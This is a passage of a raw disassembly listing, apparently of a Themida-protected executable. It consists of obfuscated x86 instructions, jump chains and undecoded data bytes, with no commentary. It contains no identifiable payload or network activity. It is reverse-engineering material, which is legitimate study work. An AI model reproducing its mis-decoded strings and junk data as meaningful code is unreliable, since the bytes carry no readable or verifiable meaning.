1, 0DFh, 81h dd 5718B2C7h, 0EF815B29h, 4, 2474FF57h, 48F5F04h, 24248B24h dd 0E9240C89h, 0B2A6h ; --------------------------------------------------------------------------- loc_55106C: ; CODE XREF: Themida_:0056409Fj add edx, 4 xchg edx, [esp] pop esp push ebx push ebp jmp loc_55913C ; --------------------------------------------------------------------------- loc_55107A: ; CODE XREF: Themida_:005557BEj push edx mov edx, 309750D0h or edx, 23B608E5h jmp loc_556555 ; --------------------------------------------------------------------------- aQssx db 'ЁQИХX',0 align 2 aISL db '\┴,$И:╚',0 dw 0BB00h dd 42087D87h, 14113E9h db 0 ; --------------------------------------------------------------------------- loc_5510A5: ; CODE XREF: Themida_:00552E48j or eax, eax jz loc_555E86 push 46E0h jmp loc_55972C ; --------------------------------------------------------------------------- aEaNAinsc db ',┘─цN(ц─КNИФ╫',0 align 2 dw 5E35h dd 8105B62Dh, 0A30821EEh, 80B85043h, 294C3268h, 0ED4BE9C6h dd 0EB800000h, 2705E95Ch, 48B0000h, 4C48324h, 4EC81h, 14890000h dd 4EC8324h, 0E9242489h, 14AE5h, 46243481h, 593BDB57h dd 5746BE56h, 0F1313BDBh, 34FF585Eh, 0E86E924h, 0E95D0000h dd 4222h, 3F243481h, 8B33B321h, 47E92434h, 81000012h, 4ECh dd 240C8900h, 4EC81h, 24890000h, 4BA5224h, 1000000h, 5A042454h dd 4C18159h, 83000000h, 0FF5102C1h, 0E9042474h, 0B6FEh dd 66C7815Fh, 2920C23Eh, 34FF5FFBh, 0C4835A24h, 0F013E904h dd 0C870000h, 0EC815C24h, 4, 53243489h, 140DE9h db 0 ; --------------------------------------------------------------------------- loc_551189: ; CODE XREF: Themida_:00554E9Dj mov edi, 6966653Eh jmp loc_553EA0 ; --------------------------------------------------------------------------- db 81h dd 408405F7h, 3CF6E982h db 1, 0 word_55119E dw 0C8Bh ; DATA XREF: Themida_:0055084Co dd 4EC8324h, 54240C89h, 5EE95559h, 520000BBh, 13D45E9h dd 0EF815900h, 37FD7907h, 2334EF81h, 0EF0154A8h, 2334C781h dd 0C78154A8h, 37FD7907h, 2434FF5Dh, 4C4835Bh, 107D3E9h dd 40500h, 9E90000h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5511E7: ; CODE XREF: Themida_:005593CAj pop ecx pop eax sub esp, 4 mov [esp], esi mov esi, 317635EFh push esi dec dword ptr [esp] pop esi push edi push edx mov edx, 353B1941h push edx mov edx, 7A515417h mov edi, 521359ADh sub edi, edx pop edx jmp loc_56210E ; --------------------------------------------------------------------------- loc_551216: ; CODE XREF: Themida_:0056387Cj pop ebx sub eax, ecx jmp loc_558360 ; --------------------------------------------------------------------------- loc_55121E: ; CODE XREF: Themida_:005567B3j push edi push ebx mov ebx, 0E520497h mov edi, 106C09A1h sub edi, ebx pop ebx dec edi shl edi, 3 sub edi, 538A1447h shl edi, 6 sub edi, 0FFFFFFFFh jmp loc_557FC2 ; --------------------------------------------------------------------------- loc_551242: ; CODE XREF: Themida_:00557044j add dword ptr [esp], 4 pop edx push eax mov eax, 4 add edx, eax jmp loc_5513AA ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 81000000h, 4C3h, 74FF5300h, 8F5B0424h, 0E95C2404h dd 10105h ; --------------------------------------------------------------------------- loc_551274: ; CODE XREF: Themida_:00560272j pop dword ptr [esp] mov esp, [esp] push eax push ebx jmp loc_560D9E ; --------------------------------------------------------------------------- loc_551281: ; CODE XREF: Themida_:0055CF77j mov ecx, [esp] add esp, 4 add ecx, 4 push 0AF2h mov [esp], eax sub esp, 4 mov [esp], ebp push 62D801EAh jmp loc_559CF2 ; --------------------------------------------------------------------------- db 53h, 68h, 7Bh dd 5B4FB84Ch, 2707EB81h, 0DA8923A0h, 0C0C2815Bh, 0F7781B7Ch dd 5E2C1DAh, 0EBD1E9h, 0DEEA8100h, 0E96F6119h, 1ABCh, 55F1015Fh dd 102688BDh, 0F6CD8123h, 8163AC55h, 692228E5h, 10ED817Fh dd 0E9F9E0A9h, 78CAh, 0F400DDB4h, 0E924148Bh, 13C91h ; --------------------------------------------------------------------------- loc_5512FC: ; CODE XREF: Themida_:0055632Bj add eax, edi mov edi, [esp] add esp, 4 xor ebx, eax push 45Dh jmp loc_55F43E ; --------------------------------------------------------------------------- loc_551310: ; CODE XREF: Themida_:00557D6Cj push ecx mov ecx, 40D22618h push ebp mov ebp, 73DB5011h xor ecx, ebp pop ebp add eax, ecx pop ecx push esi push ecx mov ecx, 61BB3E9Dh not ecx sub ecx, 9A197DFBh mov esi, ecx jmp loc_553379 ; --------------------------------------------------------------------------- dword_551338 dd 24048B66h, 4EC81h, 14890000h, 81E28924h, 4C2h, 4C346800h ; DATA XREF: Themida_:00550894o dd 0DBE90000h, 810000CBh, 0F363A0EBh, 8924E947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551362: ; CODE XREF: Themida_:0055258Aj add dword ptr [esp+4], 7A35433Dh sub dword ptr [esp+4], 132C1CF8h push ebp jmp loc_55A0F2 ; --------------------------------------------------------------------------- dd 0FFF632E9h db 0FFh byte_55137D db 64h, 66h, 0Fh ; DATA XREF: Themida_:005508F4o dd 686602B6h, 896679AAh, 20E92404h, 51FFFFF6h, 3446E9h db 0 ; --------------------------------------------------------------------------- loc_551395: ; CODE XREF: Themida_:00550EC9j mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_564ADC ; --------------------------------------------------------------------------- loc_5513AA: ; CODE XREF: Themida_:00551252j pop eax sub esp, 4 mov [esp], esi mov esi, 4 add edx, esi pop esi push 6C35h mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_5605AB ; --------------------------------------------------------------------------- db 89h dd 4EC81E6h, 89000000h, 4BF243Ch, 1000000h, 243C8BFEh dd 8104C483h, 4C6h, 24348700h, 2C7835Ch, 2474FF57h, 48F5F04h dd 24248B24h, 9C2424D3h, 0FFF5A6E9h, 4C181FFh, 51000000h dd 42474FFh, 24048F59h, 123D6E9h, 24348700h, 8924248Bh dd 4BD242Ch, 1000000h, 242C8BE8h, 2C4568h, 9EF2E900h, 4830000h dd 83580424h, 0C8904ECh, 4B924h, 3FE90000h db 47h, 1, 0 ; --------------------------------------------------------------------------- loc_55144F: ; CODE XREF: Themida_:00560C6Bj sub ax, 1D0Bh neg ax jmp loc_55FCCF ; --------------------------------------------------------------------------- loc_55145B: ; CODE XREF: Themida_:00558E8Dj pop edx mov edi, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_557A13 ; --------------------------------------------------------------------------- loc_551469: ; CODE XREF: Themida_:00559346j xor ax, dx jmp loc_5626CC ; --------------------------------------------------------------------------- loc_551471: ; CODE XREF: Themida_:0055CB7Dj push eax jmp loc_55EE21 ; --------------------------------------------------------------------------- db 8Bh dd 34FF5B0Bh, 0E9565A24h, 4FF7h ; --------------------------------------------------------------------------- loc_551484: ; CODE XREF: Themida_:0055A999j mov [esp], edx mov edx, 40000h and eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_55DA52 ; --------------------------------------------------------------------------- db 5, 16h, 6Bh dd 0C8010579h, 4EC81h, 2C890000h, 61B85024h, 895A701Ah dd 0C58158C5h, 0DE24E14h, 0F3E94D4Dh db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5514BF: ; CODE XREF: Themida_:00565A59j shl edx, 1 jmp loc_55BD9C ; --------------------------------------------------------------------------- dw 1489h dd 0D297BA24h, 0B951F760h, 2D470F37h, 0C104E1C1h, 0C18105E1h dd 9611F4CAh, 1DE4E9h, 242C8900h, 644D83BDh, 5DEE093Ch dd 6092BD55h, 0EE01E54Dh, 0F7E9565Dh, 83000016h db 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edx push ebp mov ebp, 3AED4B43h push edi mov edi, 32C147F3h and ebp, edi jmp loc_565388 ; --------------------------------------------------------------------------- db 81h, 0C2h, 6Eh dd 1026ADAh, 0EF815AD7h, 1A6E1568h, 2C7835Bh, 8904EC83h dd 74FF243Ch, 34FF0424h, 243C8B24h, 0BB72E9h, 40500h, 42D0000h dd 50000000h, 8D8DE9h, 4EC8300h, 0E632E9h, 0C2815A00h dd 4, 5204EA83h, 42474FFh, 8124148Bh, 4C4h, 0CB29E900h dd 0EE090000h, 1CB9515Dh, 8104B97Fh, 992029F1h, 0DFF18105h dd 0E94145DBh, 0E3E3h ; --------------------------------------------------------------------------- loc_5515A0: ; CODE XREF: Themida_:00561B78j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_564228 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 5604EE83h, 42474FFh, 8474E9h, 2BC98100h, 0F709D308h dd 8225E9D1h, 0CF010000h, 6868C781h, 1595315h, 2879E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5515DE: ; CODE XREF: Themida_:005627CBj pop esp push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_55FD7D ; --------------------------------------------------------------------------- loc_5515EC: ; CODE XREF: Themida_:005594BFj mov ecx, [esp] jmp loc_55921B ; --------------------------------------------------------------------------- dd 8B241C33h, 34FF2424h, 24048B24h, 0A0D1E9h, 5FF82900h dd 0E9240487h, 12333h, 207F83h, 0D98C840Fh, 0E9500000h dd 1258h ; --------------------------------------------------------------------------- loc_551620: ; CODE XREF: Themida_:00561A91j mov ebx, 33DD2184h mov ebp, 33DD2188h sub ebp, ebx pop ebx sub edi, 249760FEh add edi, ebp push eax jmp loc_55F5BB ; --------------------------------------------------------------------------- db 9 dd 24348BF0h, 8B6DE9h db 0 ; --------------------------------------------------------------------------- loc_551645: ; CODE XREF: Themida_:0055E180j shl ecx, 7 sub ecx, 1FC9D532h mov edi, ecx mov ecx, [esp] add esp, 4 sub ebx, edi pop edi shr ebx, 2 jmp loc_55982F ; --------------------------------------------------------------------------- byte_551661 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055092Co dd 5624048Bh, 0C681E689h, 4, 8704C683h, 555C2434h, 10AC68h dd 0E54FE900h, 0B8500000h, 3A45055Bh, 0F305D8F7h, 0F7687A38h dd 5E8D1D8h, 6F344529h, 2EA5E9h db 0 ; --------------------------------------------------------------------------- loc_55169D: ; CODE XREF: Themida_:0055496Dj add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp and eax, ebx pop ebx shr eax, 0Bh xor ecx, eax push 2FAAh mov [esp], esi jmp loc_55C5F8 ; --------------------------------------------------------------------------- loc_5516C2: ; CODE XREF: Themida_:0055A4DCj push esi push ebx push 45BC7357h pop ebx jmp loc_55CB4E ; --------------------------------------------------------------------------- loc_5516CF: ; CODE XREF: Themida_:00554A0Dj pop esi push edi mov edi, 2 jmp loc_55E28E ; --------------------------------------------------------------------------- loc_5516DB: ; CODE XREF: Themida_:005569D8j mov edx, [esp] jmp loc_55C267 ; --------------------------------------------------------------------------- db 81h dd 4EFh, 243C8700h, 242C895Ch, 4BDh, 246C0100h, 242C8B04h dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 3464h ; --------------------------------------------------------------------------- loc_551714: ; CODE XREF: Themida_:0055B157j add edi, 4 sub esp, 4 jmp loc_558557 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0EBh dd 0E9242E72h, 7CF7h ; --------------------------------------------------------------------------- loc_551730: ; CODE XREF: Themida_:0055653Aj mov esp, [esp] jmp loc_55C25D ; --------------------------------------------------------------------------- dd 24048B54h, 4C481h, 4050000h, 2D000000h, 4, 5C240487h dd 8907E9h db 0 ; --------------------------------------------------------------------------- loc_551755: ; CODE XREF: Themida_:0055C8CAj push 2540h jmp loc_564210 ; --------------------------------------------------------------------------- db 55h dd 2E2E6852h, 815A6BBEh, 0FB0474EAh, 33F28175h, 0E9503657h dd 0D10h, 0E95DEB89h, 0BE2Fh, 2404D366h, 0F225E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55178A: ; CODE XREF: Themida_:00553206j add edx, eax sub edx, 7C9849ECh jmp loc_564683 ; --------------------------------------------------------------------------- db 59h dd 8056F680h, 0E6C061C6h, 0B0505102h, 0CCEEE9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5517AA: ; CODE XREF: Themida_:00561A01j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_559C5F ; --------------------------------------------------------------------------- db 1, 0D7h, 8Bh dd 0EC832414h, 241C8904h, 0B850E389h, 4, 62C6E9h db 0 ; --------------------------------------------------------------------------- loc_5517D5: ; CODE XREF: Themida_:0055822Fj pop ebp sub edi, ebx sub edi, 7EFA77FFh sub edi, 49C24664h push dword ptr [esp] mov ebx, [esp] jmp loc_552335 ; --------------------------------------------------------------------------- loc_5517EF: ; CODE XREF: Themida_:0056125Ej sub ebx, 748C0BCEh sub ebx, 276E7941h add ebx, edi push esi jmp loc_553015 ; --------------------------------------------------------------------------- db 81h dd 4804246Ch, 1253248h, 8104247Ch, 48042444h, 5F253248h dd 81241C8Bh, 4C4h, 4C38100h, 51000000h, 157481B9h, 81D1F76Ah dd 0BB2780F1h, 8EC98105h, 817A583Ah, 59BEFCE9h, 8BCB01FAh dd 6852240Ch, 40ECh, 81242489h, 42404h, 0D4E90000h, 290000F2h dd 0CBDEE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551862: ; CODE XREF: Themida_:00564F1Dj or edx, 2F3A46F5h push eax mov eax, 2E4A4BC6h jmp loc_56232A ; --------------------------------------------------------------------------- loc_551873: ; CODE XREF: Themida_:00561C45j mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_55332D ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 8 dd 3343C681h, 0F2293A60h, 0BB53565Eh, 5F6822F2h, 0DAE9DE89h db 0ECh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5518A3: ; CODE XREF: Themida_:005574B9j push eax mov eax, 694F7DC3h jmp loc_55CCC2 ; --------------------------------------------------------------------------- loc_5518AE: ; CODE XREF: Themida_:00563029j mov [esp], edx mov edx, 4 sub esi, 74714808h add esi, edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push ebp jmp loc_562294 ; --------------------------------------------------------------------------- db 89h dd 0CEBF5DEEh, 3109B931h, 0B9515EF7h, 77577DF4h, 0D1C1E9h dd 66E95B00h, 5F000017h, 8308E8C1h, 0E00501C0h, 29415056h dd 0B2E958C3h, 83000077h, 0C9E904C4h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55190F: ; CODE XREF: Themida_:0055B2FAj mov [esp], cx movzx cx, al jmp loc_55EF11 ; --------------------------------------------------------------------------- loc_55191C: ; CODE XREF: Themida_:00565C8Bj push ecx push 554C6FE6h pop ecx add ecx, 6BEBE644h mov esi, ecx jmp loc_564E38 ; --------------------------------------------------------------------------- loc_551930: ; CODE XREF: Themida_:0055C639j add eax, ebx sub eax, 3D8D47ECh push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edi mov edi, esp push ecx push edi mov edi, 4 mov ecx, edi pop edi sub edi, 163C348Ah add edi, ecx add edi, 163C348Ah mov ecx, [esp] jmp loc_55BFC4 ; --------------------------------------------------------------------------- dw 0ED81h dd 258E417Ah, 0C581DDF7h, 0FC9CF218h, 15DEA89h, 24148BD5h dd 4C481h, 0D7E90000h db 41h, 1, 0 ; --------------------------------------------------------------------------- loc_551987: ; CODE XREF: Themida_:00563BB4j add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp and ecx, esi mov esi, [esp] add esp, 4 shr ecx, 2 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], ebx pop edi push eax push esp pop eax push ebx jmp loc_55A095 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 2414895Ch, 4BAh, 0D4E95200h db 0E8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5519D7: ; CODE XREF: Themida_:0055D8EEj mov ecx, 4 jmp loc_55895A ; --------------------------------------------------------------------------- db 4Eh, 81h, 0EEh dd 0C610CE5h, 30DBF681h, 0F0E903D9h db 5, 1, 0 ; --------------------------------------------------------------------------- loc_5519F3: ; CODE XREF: Themida_:0055A2FDj pop ebx add ebp, 2 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_560807 ; --------------------------------------------------------------------------- loc_551A05: ; CODE XREF: Themida_:0055BDA1j mov [esp], ebp mov ebp, 63FE4B8Eh push ebx jmp loc_564B17 ; --------------------------------------------------------------------------- loc_551A13: ; CODE XREF: Themida_:00560F8Dj add esp, 4 push edx mov edx, 6EBB0DCCh jmp loc_556700 ; --------------------------------------------------------------------------- loc_551A21: ; CODE XREF: Themida_:0055F624j shr eax, 1 jmp loc_55B4B0 ; --------------------------------------------------------------------------- dd 5C240433h, 8DF3E9h, 2DD80100h, 37090F79h, 79B3BF57h dd 0F8297704h, 3759685Fh, 2C890000h, 4EC8324h, 68240C89h dd 49226476h, 0DB41E9h, 9BBF5700h, 0E906234Bh, 1242Fh dd 5A2414F7h, 0D513F281h, 5FE90238h, 890000DCh, 0C2295BD8h dd 0CCEA8158h, 0E915E772h, 53FBh, 48BE300h, 4C48324h, 8685166h dd 8900005Ch, 0D5B7241Ch, 0D8DDE9h, 0E9535C00h, 0FFFFF094h ; --------------------------------------------------------------------------- loc_551AA4: ; CODE XREF: Themida_:0056336Aj add esp, 4 add esi, 4 jmp loc_559F77 ; --------------------------------------------------------------------------- db 2Dh, 4, 0 dd 33E90000h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551ABF: ; CODE XREF: Themida_:0055F29Ej mov bl, al jmp loc_55FAFD ; --------------------------------------------------------------------------- dw 0DA31h dd 0DDE2815Bh, 0E902AD71h, 343Fh, 0FBA8E955h, 3C89FFFFh dd 3C8B5424h, 0EC835624h, 24248904h, 4240481h, 8B000000h dd 0C4812434h, 4, 4C681h, 0C6830000h, 24348704h, 0EFBD555Ch dd 52466956h, 0CE0A5FBAh, 0E281424Ah, 287621B3h, 0E904EC83h dd 12CAEh ; --------------------------------------------------------------------------- loc_551B20: ; CODE XREF: Themida_:0055211Aj xchg edi, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_55EC2A ; --------------------------------------------------------------------------- loc_551B32: ; CODE XREF: Themida_:00557243j add ah, 34h dec ah add ah, 7Bh add ah, 0BCh jmp loc_551E10 ; --------------------------------------------------------------------------- dw 483h dd 348B0424h, 0E3895324h, 7ABCE9h db 0 ; --------------------------------------------------------------------------- loc_551B51: ; CODE XREF: Themida_:0055DB3Aj mov esi, 3890B4Fh add esi, 1 xor esi, 3890B52h mov eax, esi pop esi add edx, 0E507A3Ah sub edx, eax push ebx jmp loc_553F09 ; --------------------------------------------------------------------------- loc_551B70: ; CODE XREF: Themida_:00565A03j mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_5528E5 ; --------------------------------------------------------------------------- db 2Dh, 4, 0 dd 4870000h, 34895C24h, 99D9E924h, 0C7810000h, 4, 0E9243C87h dd 0FFFFF249h, 0E95DEB89h, 0FFFFF028h, 0F1C68h, 243C8900h dd 0D7E9CF89h, 5EFFFFF1h, 4BD55h, 0EE010000h, 4C6835Dh dd 0E9243487h, 119B5h, 0E9242C89h, 0E9Ah, 8B243433h, 0B8E92424h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551BF7: ; CODE XREF: Themida_:0055B8A4j pop ebx jmp loc_563747 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 87000000h, 0A1E9242Ch db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_551C0B: ; CODE XREF: Themida_:005614F9j pop edx jmp loc_56188E ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0DEE90000h, 0BE0000D6h, 180E1258h, 0BD55DEF7h, 67F32F5Fh dd 90E9DDF7h, 5F0000DEh, 0E9ED815Dh, 0E94A1436h, 0F2BFh ; --------------------------------------------------------------------------- loc_551C3C: ; CODE XREF: Themida_:00552282j push edx mov edx, 6D3AFF87h add esi, 2AB966EEh jmp loc_5599C3 ; --------------------------------------------------------------------------- loc_551C4D: ; CODE XREF: Themida_:0055802Aj mov esi, 7BD3431Bh push edx jmp loc_557709 ; --------------------------------------------------------------------------- dd 24048B54h, 6804C483h, 7F35h, 68240C89h, 694F496Fh, 83240C8Bh dd 0E98304C4h, 3AD4E901h, 34890000h, 34C6BE24h, 0B85036ADh dd 7F932CB3h, 0FACC7E2Dh, 9D4EE969h, 0C1810000h, 4, 8704C183h dd 248B240Ch, 24048F24h, 8924248Bh, 37E9243Ch, 53000138h dd 86D3E954h, 148B0000h, 8B545724h, 0C481243Ch, 4, 4C781h dd 0F1680000h, 0E9000006h, 91E5h, 815DEB29h, 5F0BC5EAh dd 0E9DA013Bh, 11B29h ; --------------------------------------------------------------------------- loc_551CE4: ; CODE XREF: Themida_:0055BD23j xor dword ptr [esp], 1007430Bh pop ecx jmp loc_559951 ; --------------------------------------------------------------------------- aSpx1lSls db '-≤p∙1▀,$И▀Х',0 align 2 loc_551CFE: ; CODE XREF: Themida_:0055A8DFj add esp, 4 and eax, ebp jmp loc_560FCE ; --------------------------------------------------------------------------- dd 0EF307CB5h, 0FD285966h, 59E8005Bh, 0E9DCC380h, 0AB7Ch dd 31243C33h, 3C33243Ch, 24248B24h, 0FFF040E9h, 0E9B0B3FFh dd 4CAh ; --------------------------------------------------------------------------- loc_551D34: ; CODE XREF: Themida_:00564CADj mov eax, esp add eax, 4 push ecx jmp loc_5594B7 ; --------------------------------------------------------------------------- loc_551D41: ; CODE XREF: Themida_:00562028j neg al xor al, 20h add bh, 0Ch sub bh, al sub bh, 0Ch pop eax jmp loc_55D376 ; --------------------------------------------------------------------------- aSpS db 'SP[Изы',0 dw 8100h dd 4C2h, 4EC8100h, 89000000h, 0CBE9243Ch, 89000019h, 4BE56E5h dd 1000000h, 925BE9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551D7E: ; CODE XREF: Themida_:0055D254j pop esp jmp loc_563E74 ; --------------------------------------------------------------------------- dd 2B2B850h, 57683CF8h, 5965377Ah, 41CCC181h, 0C1293DB6h dd 0FFF03CE9h, 2C46BFFFh, 0F80169F6h, 0A8FDE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_551DAA: ; CODE XREF: Themida_:00565233j push 3B11251Bh pop ebx shl ebx, 6 shr ebx, 4 jmp loc_5637A5 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 0E9000000h, 44AEh ; --------------------------------------------------------------------------- loc_551DC8: ; CODE XREF: Themida_:005567C8j mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_553B8D ; --------------------------------------------------------------------------- dw 0F781h dd 1215700Bh, 10815E9h, 2AF28100h, 0E93C3D2Eh, 0D3C6h dword_551E00 dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFEB9Fh ; DATA XREF: Themida_:00550768o ; --------------------------------------------------------------------------- loc_551E10: ; CODE XREF: Themida_:00551B3Dj push ecx jmp loc_55F807 ; --------------------------------------------------------------------------- loc_551E16: ; CODE XREF: Themida_:00565CF1j pop ebp pop dword ptr [esp] pop esp jmp loc_55D5F4 ; --------------------------------------------------------------------------- dd 0ACE4EB81h, 895609EAh, 0FA9EE9DEh, 0E1890000h, 1086BE56h dd 98E94D37h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E3B: ; CODE XREF: Themida_:00562098j sub eax, edx jmp loc_562FDC ; --------------------------------------------------------------------------- dw 405h dd 0E9000000h, 5AE7h ; --------------------------------------------------------------------------- loc_551E4C: ; CODE XREF: Themida_:00562B16j not eax jmp loc_550AA6 ; --------------------------------------------------------------------------- loc_551E53: ; CODE XREF: Themida_:00556939j add esp, 4 add edi, 4 xchg edi, [esp] pop esp push eax push bp mov bp, 11A0h mov ax, bp jmp loc_55C585 ; --------------------------------------------------------------------------- loc_551E72: ; CODE XREF: Themida_:00550AE2j xor esi, 0DE51195h sub edx, esi pop esi push ebx mov ebx, 0 sub ebx, 611176FEh push edx mov edx, 7706630Ah shr edx, 3 add edx, 40666791h jmp loc_55A0AA ; --------------------------------------------------------------------------- db 81h dd 807E4DF6h, 2EEE8151h, 173E062h, 56E95EF2h, 0C10000B3h dd 0C7E903E5h, 5A000073h, 9C7E9h db 0 ; --------------------------------------------------------------------------- loc_551EBD: ; CODE XREF: Themida_:00560FD7j shr eax, 10h xor eax, ecx jmp loc_560E96 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0CCE4E924h, 0EC830000h, 2DAE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551EDA: ; CODE XREF: Themida_:0055BA60j pop esi jmp loc_550F19 ; --------------------------------------------------------------------------- dd 242DD8F7h, 0E980C0BCh, 54A9h ; --------------------------------------------------------------------------- loc_551EEC: ; CODE XREF: Themida_:0055F8F9j push esi push 80200487h mov esi, [esp] add esp, 4 sub edi, 2AED54D4h add edi, esi add edi, 2AED54D4h pop esi add edx, edi mov edi, [esp] add esp, 4 add edx, 4 push edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_559ECA ; --------------------------------------------------------------------------- dw 8355h dd 8F5404ECh, 4812404h, 424h, 0BB685D00h, 89000073h, 0A3BE2434h dd 0E901FE2Fh, 0BA79h ; --------------------------------------------------------------------------- loc_551F44: ; CODE XREF: Themida_:0055C3DBj inc ecx inc ecx or ecx, 1D21341Ch sub ecx, 3A2D011Ch add ebx, ecx pop ecx sub esp, 4 jmp loc_553C33 ; --------------------------------------------------------------------------- loc_551F60: ; CODE XREF: Themida_:005631D5j mov esp, [esp] mul cx push small 72CCh mov [esp], dx push ax pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_551F76: ; CODE XREF: Themida_:loc_55BF65j shr edx, 1 cmp eax, edx jz loc_552EC2 push 2A32h mov [esp], ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_556DCC ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 0D500E900h, 0E0890000h, 405h, 40500h dd 0A6E90000h db 0D6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551FBF: ; CODE XREF: Themida_:005563AAj add ecx, ebp sub ecx, 307D4D19h pop ebp or ecx, 41E154BEh add ecx, 360E2005h add esi, ecx jmp loc_552ABE ; --------------------------------------------------------------------------- db 66h dd 0F5885150h, 0E959EC88h, 106A3h, 6EFFB951h, 0A7E97AC6h db 1Bh, 1, 0 ; --------------------------------------------------------------------------- loc_551FF3: ; CODE XREF: Themida_:0055AE5Fj push esi mov esi, esp add esi, 4 jmp loc_55BE55 ; --------------------------------------------------------------------------- loc_552001: ; CODE XREF: Themida_:0055325Cj sub ebx, 0ADD28ACCh sub esi, ebx pop ebx sub esi, edi add esi, 4AA26651h push edx mov edx, 0E59328Ch add esi, edx pop edx pop edi and eax, esi mov esi, [esp] add esp, 4 jmp loc_5583E4 ; --------------------------------------------------------------------------- db 0BFh, 70h, 49h dd 0FE0132C2h, 0F485E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_552036: ; CODE XREF: Themida_:00557C7Cj mov ecx, [eax] mov eax, [esp] add esp, 4 push dword ptr [esp] pop edx jmp loc_55B469 ; --------------------------------------------------------------------------- db 56h dd 4BEh, 0D8ACE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552052: ; CODE XREF: Themida_:0055CCBDj mov ebx, esp add ebx, 4 push edi mov edi, 4 sub ebx, edi pop edi xchg ebx, [esp] pop esp push esp pop dword ptr [esp] jmp loc_554A4F ; --------------------------------------------------------------------------- aNhf@ db '╜h■@',0 ; DATA XREF: Themida_:005507E4o align 2 dw 3489h dd 6F4BE24h, 2068523Dh, 8900003Ah, 58E92414h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55208B: ; CODE XREF: Themida_:005597A2j and edi, 63C26ABBh push esi push edx jmp loc_55F0C9 ; --------------------------------------------------------------------------- dd 4BFh, 5FFE0100h, 402D68h, 240C8900h, 8904EC83h, 0FDBF243Ch dd 0E9388C16h, 436Eh, 0E904C383h, 0A88Bh, 75D368h, 243C8900h dd 13357E9h db 0 ; --------------------------------------------------------------------------- loc_5520CD: ; CODE XREF: Themida_:00557461j xor [esp], ecx jmp loc_554E0C ; --------------------------------------------------------------------------- loc_5520D5: ; CODE XREF: Themida_:0055ABA0j mov ecx, esi pop esi jmp loc_553CB0 ; --------------------------------------------------------------------------- db 89h, 0CBh, 8Bh dd 0C481240Ch, 4, 99B2E9h db 0 ; --------------------------------------------------------------------------- loc_5520ED: ; CODE XREF: Themida_:0056199Bj mov eax, esp jmp loc_55568B ; --------------------------------------------------------------------------- loc_5520F4: ; CODE XREF: Themida_:00553E52j pop ebx sub edx, 45F645DCh add edx, esi add edx, 45F645DCh jmp loc_56409E ; --------------------------------------------------------------------------- loc_552108: ; CODE XREF: Themida_:0056367Cj mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_551B20 ; --------------------------------------------------------------------------- loc_55211F: ; CODE XREF: Themida_:00561E15j push edx jmp loc_555CD6 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 2 dd 11ED814Dh, 310A6203h, 3BE95DEEh, 0BF000049h, 2C14232h dd 5BA9F781h, 0C7816792h, 0C913EFD4h, 0E95FF901h, 11488h dd 